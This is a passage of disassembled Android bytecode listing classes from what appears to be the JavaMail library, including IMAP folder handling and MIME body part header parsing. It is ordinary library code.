00000012  monitor-exit            p0
00000014  return-void
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method waitIfIdle()V
          .registers 3
00000000  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000004  if-nez                  v0, :48
:8
00000008  iget-object             v0, p0, IMAPFolder->messageCacheLock:Object
0000000C  invoke-static           Thread->holdsLock(Object)Z, v0
00000012  move-result             v0
00000014  if-nez                  v0, :48
:18
00000018  new-instance            v0, AssertionError
0000001C  invoke-direct           AssertionError-><init>()V, v0
00000022  throw                   v0
:24
00000024  iget                    v0, p0, IMAPFolder->idleState:I
00000028  const/4                 v1, 0x1
0000002A  if-ne                   v0, v1, :3E
:2E
0000002E  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000032  invoke-virtual          IMAPProtocol->idleAbort()V, v0
00000038  const/4                 v0, 0x2
0000003A  iput                    v0, p0, IMAPFolder->idleState:I
:3E
0000003E  iget-object             v0, p0, IMAPFolder->messageCacheLock:Object
00000042  invoke-virtual          Object->wait()V, v0
:48
00000048  iget                    v0, p0, IMAPFolder->idleState:I
0000004C  if-nez                  v0, :24
:50
00000050  return-void
:52
00000052  move-exception          v0
00000054  goto                    :48
          .catch InterruptedException {:3E .. :48} :52
.end method

#--------------------------------------------------------------------------------
.class public DefaultFolder
.super IMAPFolder
.source ""

.method protected constructor <init>(IMAPStore)V
          .registers 4
00000000  const-string            v0, ""
00000004  const                   v1, 0xFFFF
0000000A  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, p0, v0, v1, p1
00000010  const/4                 v0, 0x1
00000012  iput-boolean            v0, p0, DefaultFolder->exists:Z
00000016  const/4                 v0, 0x2
00000018  iput                    v0, p0, DefaultFolder->type:I
0000001C  return-void
.end method

.method public appendMessages([Message)V
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Cannot append to Default Folder"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public delete(Z)Z
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Cannot delete Default Folder"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public expunge()[Message
          .registers 3
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Cannot expunge Default Folder"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public getFolder(String)Folder
          .registers 5
00000000  new-instance            v1, IMAPFolder
00000004  const                   v2, 0xFFFF
0000000A  iget-object             v0, p0, DefaultFolder->store:Store
0000000E  check-cast              v0, IMAPStore
00000012  invoke-direct           IMAPFolder-><init>(String, C, IMAPStore)V, v1, p1, v2, v0
00000018  return-object           v1
.end method

.method public getName()String
          .registers 2
00000000  iget-object             v0, p0, DefaultFolder->fullName:String
00000004  return-object           v0
.end method

.method public getParent()Folder
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return-object           v0
.end method

.method public hasNewMessages()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public list(String)[Folder
          .registers 8
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  check-cast              v0, [ListInfo
00000008  new-instance            v0, DefaultFolder$1
0000000C  invoke-direct           DefaultFolder$1-><init>(DefaultFolder, String)V, v0, p0, p1
00000012  invoke-virtual          DefaultFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000018  move-result-object      v0
0000001A  check-cast              v0, [ListInfo
0000001E  if-nez                  v0, :28
:22
00000022  new-array               v0, v1, [Folder
:26
00000026  return-object           v0
:28
00000028  array-length            v2, v0
0000002A  new-array               v3, v2, [IMAPFolder
0000002E  move                    v2, v1
:30
00000030  array-length            v1, v3
00000032  if-lt                   v2, v1, :3A
:36
00000036  move-object             v0, v3
00000038  goto                    :26
:3A
0000003A  new-instance            v4, IMAPFolder
0000003E  aget-object             v5, v0, v2
00000042  iget-object             v1, p0, DefaultFolder->store:Store
00000046  check-cast              v1, IMAPStore
0000004A  invoke-direct           IMAPFolder-><init>(ListInfo, IMAPStore)V, v4, v5, v1
00000050  aput-object             v4, v3, v2
00000054  add-int/lit8            v1, v2, 0x1
00000058  move                    v2, v1
0000005A  goto                    :30
.end method

.method public listSubscribed(String)[Folder
          .registers 8
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  check-cast              v0, [ListInfo
00000008  new-instance            v0, DefaultFolder$2
0000000C  invoke-direct           DefaultFolder$2-><init>(DefaultFolder, String)V, v0, p0, p1
00000012  invoke-virtual          DefaultFolder->doCommand(IMAPFolder$ProtocolCommand)Object, p0, v0
00000018  move-result-object      v0
0000001A  check-cast              v0, [ListInfo
0000001E  if-nez                  v0, :28
:22
00000022  new-array               v0, v1, [Folder
:26
00000026  return-object           v0
:28
00000028  array-length            v2, v0
0000002A  new-array               v3, v2, [IMAPFolder
0000002E  move                    v2, v1
:30
00000030  array-length            v1, v3
00000032  if-lt                   v2, v1, :3A
:36
00000036  move-object             v0, v3
00000038  goto                    :26
:3A
0000003A  new-instance            v4, IMAPFolder
0000003E  aget-object             v5, v0, v2
00000042  iget-object             v1, p0, DefaultFolder->store:Store
00000046  check-cast              v1, IMAPStore
0000004A  invoke-direct           IMAPFolder-><init>(ListInfo, IMAPStore)V, v4, v5, v1
00000050  aput-object             v4, v3, v2
00000054  add-int/lit8            v1, v2, 0x1
00000058  move                    v2, v1
0000005A  goto                    :30
.end method

.method public renameTo(Folder)Z
          .registers 4
00000000  new-instance            v0, MethodNotSupportedException
00000004  const-string            v1, "Cannot rename Default Folder"
00000008  invoke-direct           MethodNotSupportedException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class public abstract BodyPart
.super Object
.source ""

.implements Part

.field protected parent:Multipart

.method public constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public getParent()Multipart
          .registers 2
00000000  iget-object             v0, p0, BodyPart->parent:Multipart
00000004  return-object           v0
.end method

.method setParent(Multipart)V
          .registers 2
00000000  iput-object             p1, p0, BodyPart->parent:Multipart
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public MimeBodyPart
.super BodyPart
.source ""

.implements MimePart

.field static cacheMultipart:Z
.field private static decodeFileName:Z
.field private static encodeFileName:Z
.field private static setContentTypeFileName:Z
.field private static setDefaultTextCharset:Z
.field private cachedContent:Object
.field protected content:[B
.field protected contentStream:InputStream
.field protected dh:DataHandler
.field protected headers:InternetHeaders

.method static constructor <clinit>()V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  const/4                 v1, 0x1
00000004  sput-boolean            v1, MimeBodyPart->setDefaultTextCharset:Z
00000008  sput-boolean            v1, MimeBodyPart->setContentTypeFileName:Z
0000000C  sput-boolean            v0, MimeBodyPart->encodeFileName:Z
00000010  sput-boolean            v0, MimeBodyPart->decodeFileName:Z
00000014  sput-boolean            v1, MimeBodyPart->cacheMultipart:Z
:18
00000018  const-string            v2, "mail.mime.setdefaulttextcharset"
0000001C  invoke-static           System->getProperty(String)String, v2
00000022  move-result-object      v2
00000024  if-eqz                  v2, :D6
:28
00000028  const-string            v3, "false"
0000002C  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000032  move-result             v2
00000034  if-eqz                  v2, :D6
:38
00000038  move                    v2, v0
:3A
0000003A  sput-boolean            v2, MimeBodyPart->setDefaultTextCharset:Z
0000003E  const-string            v2, "mail.mime.setcontenttypefilename"
00000042  invoke-static           System->getProperty(String)String, v2
00000048  move-result-object      v2
0000004A  if-eqz                  v2, :DA
:4E
0000004E  const-string            v3, "false"
00000052  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000058  move-result             v2
0000005A  if-eqz                  v2, :DA
:5E
0000005E  move                    v2, v0
:60
00000060  sput-boolean            v2, MimeBodyPart->setContentTypeFileName:Z
00000064  const-string            v2, "mail.mime.encodefilename"
00000068  invoke-static           System->getProperty(String)String, v2
0000006E  move-result-object      v2
00000070  if-eqz                  v2, :DE
:74
00000074  const-string            v3, "false"
00000078  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
0000007E  move-result             v2
00000080  if-nez                  v2, :DE
:84
00000084  move                    v2, v1
:86
00000086  sput-boolean            v2, MimeBodyPart->encodeFileName:Z
0000008A  const-string            v2, "mail.mime.decodefilename"
0000008E  invoke-static           System->getProperty(String)String, v2
00000094  move-result-object      v2
00000096  if-eqz                  v2, :E2
:9A
0000009A  const-string            v3, "false"
0000009E  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
000000A4  move-result             v2
000000A6  if-nez                  v2, :E2
:AA
000000AA  move                    v2, v1
:AC
000000AC  sput-boolean            v2, MimeBodyPart->decodeFileName:Z
000000B0  const-string            v2, "mail.mime.cachemultipart"
000000B4  invoke-static           System->getProperty(String)String, v2
000000BA  move-result-object      v2
000000BC  if-eqz                  v2, :E6
:C0
000000C0  const-string            v3, "false"
000000C4  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
000000CA  move-result             v2
000000CC  if-eqz                  v2, :E6
:D0
000000D0  sput-boolean            v0, MimeBodyPart->cacheMultipart:Z
:D4
000000D4  return-void
:D6
000000D6  move                    v2, v1
000000D8  goto                    :3A
:DA
000000DA  move                    v2, v1
000000DC  goto                    :60
:DE
000000DE  move                    v2, v0
000000E0  goto                    :86
:E2
000000E2  move                    v2, v0
000000E4  goto                    :AC
:E6
000000E6  move                    v0, v1
000000E8  goto                    :D0
:EA
000000EA  move-exception          v0
000000EC  goto                    :D4
          .catch SecurityException {:18 .. :D4} :EA
.end method

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           BodyPart-><init>()V, p0
00000006  new-instance            v0, InternetHeaders
0000000A  invoke-direct           InternetHeaders-><init>()V, v0
00000010  iput-object             v0, p0, MimeBodyPart->headers:InternetHeaders
00000014  return-void
.end method

.method public constructor <init>(InputStream)V
          .registers 7
00000000  invoke-direct           BodyPart-><init>()V, p0
00000006  instance-of             v0, p1, ByteArrayInputStream
0000000A  if-nez                  v0, :7C
:E
0000000E  instance-of             v0, p1, BufferedInputStream
00000012  if-nez                  v0, :7C
:16
00000016  instance-of             v0, p1, SharedInputStream
0000001A  if-nez                  v0, :7C
:1E
0000001E  new-instance            v0, BufferedInputStream
00000022  invoke-direct           BufferedInputStream-><init>(InputStream)V, v0, p1
:28
00000028  new-instance            v1, InternetHeaders
0000002C  invoke-direct           InternetHeaders-><init>(InputStream)V, v1, v0
00000032  iput-object             v1, p0, MimeBodyPart->headers:InternetHeaders
00000036  instance-of             v1, v0, SharedInputStream
0000003A  if-eqz                  v1, :5C
:3E
0000003E  check-cast              v0, SharedInputStream
00000042  invoke-interface        SharedInputStream->getPosition()J, v0
00000048  move-result-wide        v1
0000004A  const-wide/16           v3, 0xFFFFFFFFFFFFFFFF
0000004E  invoke-interface        SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
00000054  move-result-object      v0
00000056  iput-object             v0, p0, MimeBodyPart->contentStream:InputStream
:5A
0000005A  return-void
:5C
0000005C  invoke-static           ASCIIUtility->getBytes(InputStream)[B, v0
00000062  move-result-object      v0
00000064  iput-object             v0, p0, MimeBodyPart->content:[B
:68
00000068  goto                    :5A
:6A
0000006A  move-exception          v0
0000006C  new-instance            v1, MessagingException
00000070  const-string            v2, "Error reading input stream"
00000074  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000007A  throw                   v1
:7C
0000007C  move-object             v0, p1
0000007E  goto                    :28
          .catch IOException {:5C .. :68} :6A
.end method

.method public constructor <init>(InternetHeaders, [B)V
          .registers 3
00000000  invoke-direct           BodyPart-><init>()V, p0
00000006  iput-object             p1, p0, MimeBodyPart->headers:InternetHeaders
0000000A  iput-object             p2, p0, MimeBodyPart->content:[B
0000000E  return-void
.end method

.method static getContentLanguage(MimePart)[String
          .registers 7
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "Content-Language"
00000006  invoke-interface        MimePart->getHeader(String, String)String, p0, v1, v0
0000000C  move-result-object      v1
0000000E  if-nez                  v1, :14
:12
00000012  return-object           v0
:14
00000014  new-instance            v2, HeaderTokenizer
00000018  const-string            v3, "()<>@,;:\\\"\t []/?="
0000001C  invoke-direct           HeaderTokenizer-><init>(String, String)V, v2, v1, v3
00000022  new-instance            v1, Vector
00000026  invoke-direct           Vector-><init>()V, v1
:2C
0000002C  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v2
00000032  move-result-object      v3
00000034  invoke-virtual          HeaderTokenizer$Token->getType()I, v3
0000003A  move-result             v4
0000003C  const/4                 v5, 0xFFFFFFFFFFFFFFFC
0000003E  if-ne                   v4, v5, :62
:42
00000042  invoke-virtual          Vector->size()I, v1
00000048  move-result             v2
0000004A  if-eqz                  v2, :12
:4E
0000004E  invoke-virtual          Vector->size()I, v1
00000054  move-result             v0
00000056  new-array               v0, v0, [String
0000005A  invoke-virtual          Vector->copyInto([Object)V, v1, v0
00000060  goto                    :12
:62
00000062  const/4                 v5, 0xFFFFFFFFFFFFFFFF
00000064  if-ne                   v4, v5, :2C
:68
00000068  invoke-virtual          HeaderTokenizer$Token->getValue()String, v3
0000006E  move-result-object      v3
00000070  invoke-virtual          Vector->addElement(Object)V, v1, v3
00000076  goto                    :2C
.end method

.method static getDescription(MimePart)String
          .registers 3
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "Content-Description"
00000006  invoke-interface        MimePart->getHeader(String, String)String, p0, v1, v0
0000000C  move-result-object      v1
0000000E  if-nez                  v1, :14
:12
00000012  return-object           v0
:14
00000014  invoke-static           MimeUtility->unfold(String)String, v1
0000001A  move-result-object      v0
0000001C  invoke-static           MimeUtility->decodeText(String)String, v0
:22
00000022  move-result-object      v0
00000024  goto                    :12
:26
00000026  move-exception          v0
00000028  move-object             v0, v1
0000002A  goto                    :12
          .catch UnsupportedEncodingException {:14 .. :22} :26
.end method

.method static getDisposition(MimePart)String
          .registers 3
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "Content-Disposition"
00000006  invoke-interface        MimePart->getHeader(String, String)String, p0, v1, v0
0000000C  move-result-object      v1
0000000E  if-nez                  v1, :14
:12
00000012  return-object           v0
:14
00000014  new-instance            v0, ContentDisposition
00000018  invoke-direct           ContentDisposition-><init>(String)V, v0, v1
0000001E  invoke-virtual          ContentDisposition->getDisposition()String, v0
00000024  move-result-object      v0
00000026  goto                    :12
.end method

.method static getEncoding(MimePart)String
          .registers 6
00000000  const/4                 v0, 0x0
00000002  const-string            v1, "Content-Transfer-Encoding"
00000006  invoke-interface        MimePart->getHeader(String, String)String, p0, v1, v0
0000000C  move-result-object      v1
0000000E  if-nez                  v1, :14
:12
00000012  return-object           v0
:14
00000014  invoke-virtual          String->trim()String, v1
0000001A  move-result-object      v0
0000001C  const-string            v1, "7bit"
00000020  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000026  move-result             v1
00000028  if-nez                  v1, :12
:2C
0000002C  const-string            v1, "8bit"
00000030  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000036  move-result             v1
00000038  if-nez                  v1, :12
:3C
0000003C  const-string            v1, "quoted-printable"
00000040  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000046  move-result             v1
00000048  if-nez                  v1, :12
:4C
0000004C  const-string            v1, "binary"
00000050  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000056  move-result             v1
00000058  if-nez                  v1, :12
:5C
0000005C  const-string            v1, "base64"
00000060  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000066  move-result             v1
00000068  if-nez                  v1, :12
:6C
0000006C  new-instance            v1, HeaderTokenizer
00000070  const-string            v2, "()<>@,;:\\\"\t []/?="
00000074  invoke-direct           HeaderTokenizer-><init>(String, String)V, v1, v0, v2
:7A
0000007A  invoke-virtual          HeaderTokenizer->next()HeaderTokenizer$Token, v1
00000080  move-result-object      v2
00000082  invoke-virtual          HeaderTokenizer$Token->getType()I, v2
00000088  move-result             v3
0000008A  const/4                 v4, 0xFFFFFFFFFFFFFFFC
0000008C  if-eq                   v3, v4, :12
:90
00000090  const/4                 v4, 0xFFFFFFFFFFFFFFFF
00000092  if-ne                   v3, v4, :7A
:96
00000096  invoke-virtual          HeaderTokenizer$Token->getValue()String, v2
0000009C  move-result-object      v0
0000009E  goto                    :12
.end method

.method static getFileName(MimePart)String
          .registers 4
00000000  const/4                 v1, 0x0
00000002  const-string            v0, "Content-Disposition"
00000006  invoke-interface        MimePart->getHeader(String, String)String, p0, v0, v1
0000000C  move-result-object      v0
0000000E  if-eqz                  v0, :7E
:12
00000012  new-instance            v2, ContentDisposition
00000016  invoke-direct           ContentDisposition-><init>(String)V, v2, v0
0000001C  const-string            v0, "filename"
00000020  invoke-virtual          ContentDisposition->getParameter(String)String, v2, v0
00000026  move-result-object      v0
:28
00000028  if-nez                  v0, :52
:2C
0000002C  const-string            v2, "Content-Type"
00000030  invoke-interface        MimePart->getHeader(String, String)String, p0, v2, v1
00000036  move-result-object      v1
00000038  if-eqz                  v1, :52
:3C
0000003C  new-instance            v2, ContentType
00000040  invoke-direct           ContentType-><init>(String)V, v2, v1
00000046  const-string            v1, "name"
0000004A  invoke-virtual          ContentType->getParameter(String)String, v2, v1
:50
00000050  move-result-object      v0
:52
00000052  sget-boolean            v1, MimeBodyPart->decodeFileName:Z
00000056  if-eqz                  v1, :66
:5A
0000005A  if-eqz                  v0, :66
:5E
0000005E  invoke-static           MimeUtility->decodeText(String)String, v0
:64
00000064  move-result-object      v0
:66
00000066  return-object           v0
:68
00000068  move-exception          v0
0000006A  new-instance            v1, MessagingException
0000006E  const-string            v2, "Can\'t decode filename"
00000072  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000078  throw                   v1
:7A
0000007A  move-exception          v1
0000007C  goto                    :52
:7E
0000007E  move-object             v0, v1
00000080  goto                    :28
          .catch ParseException {:3C .. :50} :7A
          .catch UnsupportedEncodingException {:5E .. :64} :68
.end method

.method static invalidateContentHeaders(MimePart)V
          .registers 2
00000000  const-string            v0, "Content-Type"
00000004  invoke-interface        MimePart->removeHeader(String)V, p0, v0
0000000A  const-string            v0, "Content-Transfer-Encoding"
0000000E  invoke-interface        MimePart->removeHeader(String)V, p0, v0
00000014  return-void
.end method

.method static isMimeType(MimePart, String)Z
          .registers 4
00000000  new-instance            v0, ContentType
00000004  invoke-interface        MimePart->getContentType()String, p0
0000000A  move-result-object      v1
0000000C  invoke-direct           ContentType-><init>(String)V, v0, v1
00000012  invoke-virtual          ContentType->match(String)Z, v0, p1
:18
00000018  move-result             v0
:1A
0000001A  return                  v0
:1C
0000001C  move-exception          v0
0000001E  invoke-interface        MimePart->getContentType()String, p0
00000024  move-result-object      v0
00000026  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, p1
0000002C  move-result             v0
0000002E  goto                    :1A
          .catch ParseException {:0 .. :18} :1C
.end method

.method static setContentLanguage(MimePart, [String)V
          .registers 6
00000000  new-instance            v1, StringBuffer
00000004  const/4                 v0, 0x0
00000006  aget-object             v0, p1, v0
0000000A  invoke-direct           StringBuffer-><init>(String)V, v1, v0
00000010  const/4                 v0, 0x1
:12
00000012  array-length            v2, p1
00000014  if-lt                   v0, v2, :2C
:18
00000018  const-string            v0, "Content-Language"
0000001C  invoke-virtual          StringBuffer->toString()String, v1
00000022  move-result-object      v1
00000024  invoke-interface        MimePart->setHeader(String, String)V, p0, v0, v1
0000002A  return-void
:2C
0000002C  const/16                v2, 0x2C
00000030  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
00000036  move-result-object      v2
00000038  aget-object             v3, p1, v0
0000003C  invoke-virtual          StringBuffer->append(String)StringBuffer, v2, v3
00000042  add-int/lit8            v0, v0, 0x1
00000046  goto                    :12
.end method

.method static setDescription(MimePart, String, String)V
          .registers 6
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Content-Description"
00000008  invoke-interface        MimePart->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "Content-Description"
00000014  const/16                v1, 0x15
00000018  const/4                 v2, 0x0
0000001A  invoke-static           MimeUtility->encodeText(String, String, String)String, p1, p2, v2
00000020  move-result-object      v2
00000022  invoke-static           MimeUtility->fold(I, String)String, v1, v2
00000028  move-result-object      v1
0000002A  invoke-interface        MimePart->setHeader(String, String)V, p0, v0, v1
:30
00000030  goto                    :E
:32
00000032  move-exception          v0
00000034  new-instance            v1, MessagingException
00000038  const-string            v2, "Encoding error"
0000003C  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000042  throw                   v1
          .catch UnsupportedEncodingException {:10 .. :30} :32
.end method

.method static setDisposition(MimePart, String)V
          .registers 4
00000000  if-nez                  p1, :10
:4
00000004  const-string            v0, "Content-Disposition"
00000008  invoke-interface        MimePart->removeHeader(String)V, p0, v0
:E
0000000E  return-void
:10
00000010  const-string            v0, "Content-Disposition"
00000014  const/4                 v1, 0x0
00000016  invoke-interface        MimePart->getHeader(String, String)String, p0, v0, v1
0000001C  move-result-object      v0
0000001E  if-eqz                  v0, :3A
:22
00000022  new-instance            v1, ContentDisposition
00000026  invoke-direct           ContentDisposition-><init>(String)V, v1, v0
0000002C  invoke-virtual          ContentDisposition->setDisposition(String)V, v1, p1
00000032  invoke-virtual          ContentDisposition->toString()String, v1
00000038  move-result-object      p1
:3A
0000003A  const-string            v0, "Content-Disposition"
0000003E  invoke-interface        MimePart->setHeader(String, String)V, p0, v0, p1
00000044  goto                    :E
.end method

.method static setEncoding(MimePart, String)V
          .registers 3
00000000  const-string            v0, "Content-Transfer-Encoding"
00000004  invoke-interface        MimePart->setHeader(String, String)V, p0, v0, p1
0000000A  return-void
.end method

.method static setFileName(MimePart, String)V
          .registers 5
00000000  const/4                 v2, 0x0
00000002  sget-boolean            v0, MimeBodyPart->encodeFileName:Z
00000006  if-eqz                  v0, :16
:A
0000000A  if-eqz                  p1, :16
:E
0000000E  invoke-static           MimeUtility->encodeText(String)String, p1
:14
00000014  move-result-object      p1
:16
00000016  const-string            v0, "Content-Disposition"
0000001A  invoke-interface        MimePart->getHeader(String, String)String, p0, v0, v2
00000020  move-result-object      v0
00000022  new-instance            v1, ContentDisposition
00000026  if-nez                  v0, :2E
:2A
0000002A  const-string            v0, "attachment"
:2E
0000002E  invoke-direct           ContentDisposition-><init>(String)V, v1, v0
00000034  const-string            v0, "filename"
00000038  invoke-virtual          ContentDisposition->setParameter(String, String)V, v1, v0, p1
0000003E  const-string            v0, "Content-Disposition"
00000042  invoke-virtual          ContentDisposition->toString()String, v1
00000048  move-result-object      v1
0000004A  invoke-interface        MimePart->setHeader(String, String)V, p0, v0, v1
00000050  sget-boolean            v0, MimeBodyPart->setContentTypeFileName:Z
00000054  if-eqz                  v0, :8E
:58
00000058  const-string            v0, "Content-Type"
0000005C  invoke-interface        MimePart->getHeader(String, String)String, p0, v0, v2
00000062  move-result-object      v0
00000064  if-eqz                  v0, :8E
:68
00000068  new-instance            v1, ContentType
0000006C  invoke-direct           ContentType-><init>(String)V, v1, v0
00000072  const-string            v0, "name"
00000076  invoke-virtual          ContentType->setParameter(String, String)V, v1, v0, p1
0000007C  const-string            v0, "Content-Type"
00000080  invoke-virtual          ContentType->toString()String, v1
00000086  move-result-object      v1
00000088  invoke-interface        MimePart->setHeader(String, String)V, p0, v0, v1
:8E
0000008E  return-void
:90
00000090  move-exception          v0
00000092  new-instance            v1, MessagingException
00000096  const-string            v2, "Can\'t encode filename"
0000009A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000A0  throw                   v1
:A2
000000A2  move-exception          v0
000000A4  goto                    :8E
          .catch UnsupportedEncodingException {:E .. :14} :90
          .catch ParseException {:68 .. :8E} :A2
.end method

.method static setText(MimePart, String, String, String)V
          .registers 6
00000000  if-nez                  p2, :1A
:4
00000004  invoke-static           MimeUtility->checkAscii(String)I, p1
0000000A  move-result             v0
0000000C  const/4                 v1, 0x1
0000000E  if-eq                   v0, v1, :60
:12
00000012  invoke-static           MimeUtility->getDefaultMIMECharset()String
00000018  move-result-object      p2
:1A
0000001A  new-instance            v0, StringBuilder
0000001E  const-string            v1, "text/"
00000022  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000028  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p3
0000002E  move-result-object      v0
00000030  const-string            v1, "; charset="
00000034  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003A  move-result-object      v0
0000003C  const-string            v1, "()<>@,;:\\\"\t []/?="
00000040  invoke-static           MimeUtility->quote(String, String)String, p2, v1
00000046  move-result-object      v1
00000048  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000004E  move-result-object      v0
00000050  invoke-virtual          StringBuilder->toString()String, v0
00000056  move-result-object      v0
00000058  invoke-interface        MimePart->setContent(Object, String)V, p0, p1, v0
0000005E  return-void
:60
00000060  const-string            p2, "us-ascii"
00000064  goto                    :1A
.end method

.method static updateHeaders(MimePart)V
          .registers 9
00000000  const/4                 v1, 0x0
00000002  const/4                 v3, 0x1
00000004  invoke-interface        MimePart->getDataHandler()DataHandler, p0
0000000A  move-result-object      v5
0000000C  if-nez                  v5, :12
:10
00000010  return-void
:12
00000012  invoke-virtual          DataHandler->getContentType()String, v5
00000018  move-result-object      v2
0000001A  const-string            v4, "Content-Type"
0000001E  invoke-interface        MimePart->getHeader(String)[String, p0, v4
00000024  move-result-object      v4
00000026  if-nez                  v4, :158
:2A
0000002A  move                    v4, v3
:2C
0000002C  new-instance            v6, ContentType
00000030  invoke-direct           ContentType-><init>(String)V, v6, v2
00000036  const-string            v7, "multipart/*"
0000003A  invoke-virtual          ContentType->match(String)Z, v6, v7
00000040  move-result             v7
00000042  if-eqz                  v7, :1FC
:46
00000046  instance-of             v1, p0, MimeBodyPart
0000004A  if-eqz                  v1, :16A
:4E
0000004E  move-object             v0, p0
00000050  check-cast              v0, MimeBodyPart
00000054  move-object             v1, v0
00000056  iget-object             v7, v1, MimeBodyPart->cachedContent:Object
0000005A  if-eqz                  v7, :15E
:5E
0000005E  iget-object             v1, v1, MimeBodyPart->cachedContent:Object
:62
00000062  instance-of             v7, v1, MimeMultipart
00000066  if-eqz                  v7, :1A2
:6A
0000006A  check-cast              v1, MimeMultipart
0000006E  invoke-virtual          MimeMultipart->updateHeaders()V, v1
00000074  move                    v1, v3
:76
00000076  if-nez                  v1, :21E
:7A
0000007A  const-string            v1, "Content-Transfer-Encoding"
0000007E  invoke-interface        MimePart->getHeader(String)[String, p0, v1
00000084  move-result-object      v1
00000086  if-nez                  v1, :98
:8A
0000008A  invoke-static           MimeUtility->getEncoding(DataHandler)String, v5
00000090  move-result-object      v1
00000092  invoke-static           MimeBodyPart->setEncoding(MimePart, String)V, p0, v1
:98
00000098  if-eqz                  v4, :21E
:9C
0000009C  sget-boolean            v1, MimeBodyPart->setDefaultTextCharset:Z
000000A0  if-eqz                  v1, :21E
:A4
000000A4  const-string            v1, "text/*"
000000A8  invoke-virtual          ContentType->match(String)Z, v6, v1
000000AE  move-result             v1
000000B0  if-eqz                  v1, :21E
:B4
000000B4  const-string            v1, "charset"
000000B8  invoke-virtual          ContentType->getParameter(String)String, v6, v1
000000BE  move-result-object      v1
000000C0  if-nez                  v1, :21E
:C4
000000C4  invoke-interface        MimePart->getEncoding()String, p0
000000CA  move-result-object      v1
000000CC  if-eqz                  v1, :212
:D0
000000D0  const-string            v2, "7bit"
000000D4  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
000000DA  move-result             v1
000000DC  if-eqz                  v1, :212
:E0
000000E0  const-string            v1, "us-ascii"
:E4
000000E4  const-string            v2, "charset"
000000E8  invoke-virtual          ContentType->setParameter(String, String)V, v6, v2, v1
000000EE  invoke-virtual          ContentType->toString()String, v6
000000F4  move-result-object      v1
:F6
000000F6  if-eqz                  v4, :10
:FA
000000FA  const-string            v2, "Content-Disposition"
000000FE  const/4                 v3, 0x0
00000100  invoke-interface        MimePart->getHeader(String, String)String, p0, v2, v3
00000106  move-result-object      v2
00000108  if-eqz                  v2, :138
:10C
0000010C  new-instance            v3, ContentDisposition
00000110  invoke-direct           ContentDisposition-><init>(String)V, v3, v2
00000116  const-string            v2, "filename"
0000011A  invoke-virtual          ContentDisposition->getParameter(String)String, v3, v2
00000120  move-result-object      v2
00000122  if-eqz                  v2, :138
:126
00000126  const-string            v1, "name"
0000012A  invoke-virtual          ContentType->setParameter(String, String)V, v6, v1, v2
00000130  invoke-virtual          ContentType->toString()String, v6
00000136  move-result-object      v1
:138
00000138  const-string            v2, "Content-Type"
0000013C  invoke-interface        MimePart->setHeader(String, String)V, p0, v2, v1
:142
00000142  goto/16                 :10
:146
00000146  move-exception          v1
00000148  new-instance            v2, MessagingException
0000014C  const-string            v3, "IOException updating headers"
00000150  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v1
00000156  throw                   v2
:158
00000158  move                    v4, v1
0000015A  goto/16                 :2C
:15E
0000015E  invoke-virtual          DataHandler->getContent()Object, v5
00000164  move-result-object      v1
00000166  goto/16                 :62
:16A
0000016A  instance-of             v1, p0, MimeMessage
0000016E  if-eqz                  v1, :196
:172
00000172  move-object             v0, p0
00000174  check-cast              v0, MimeMessage
00000178  move-object             v1, v0
0000017A  iget-object             v7, v1, MimeMessage->cachedContent:Object
0000017E  if-eqz                  v7, :18A
:182
00000182  iget-object             v1, v1, MimeMessage->cachedContent:Object
00000186  goto/16                 :62
